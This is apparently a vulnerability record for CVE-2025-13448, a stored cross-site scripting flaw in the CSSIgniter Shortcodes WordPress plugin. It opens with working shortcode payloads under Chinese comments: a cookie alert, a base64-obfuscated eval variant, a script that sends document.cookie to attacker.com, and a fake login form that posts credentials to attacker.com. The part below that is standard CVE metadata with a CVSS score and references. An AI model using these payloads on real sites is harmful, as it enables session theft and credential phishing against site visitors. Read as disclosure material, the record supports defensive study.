CVE-2025-13448

<!-- WordPress Contributor权限用户可通过以下方式注入XSS --> <!-- 在页面或文章中插入恶意短代码 --> [element type='text' element='<img src=x onerror=alert(document.cookie)>'] <!-- 绕过简单过滤的变体 --> [element type='button' element='" onfocus="eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))" autofocus='] <!-- 窃取用户会话的PoC --> [element type='input' element='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- 实际利用方式：构造钓鱼登录框 --> [element element='<form action="https://attacker.com/phish"><input name="username"><input name="password" type="password"><button>Login</button></form>']

{"cve": {"id": "CVE-2025-13448", "sourceIdentifier": "[email protected]", "published": "2025-12-03T03:15:58.803", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CSSIgniter Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'element' shortcode attribute in all versions up to, and including, 2.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cssigniter-shortcodes/tags/2.4.1/ci-shortcodes.php#L117", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cssigniter-shortcodes/trunk/ci-shortcodes.php#L117", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3408092%40cssigniter-shortcodes&new=3408092%40cssigniter-shortcodes&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/288419ad-fbb2-4a4a-8a40-89ae024e068d?source=cve", "source": "[email protected]"}]}}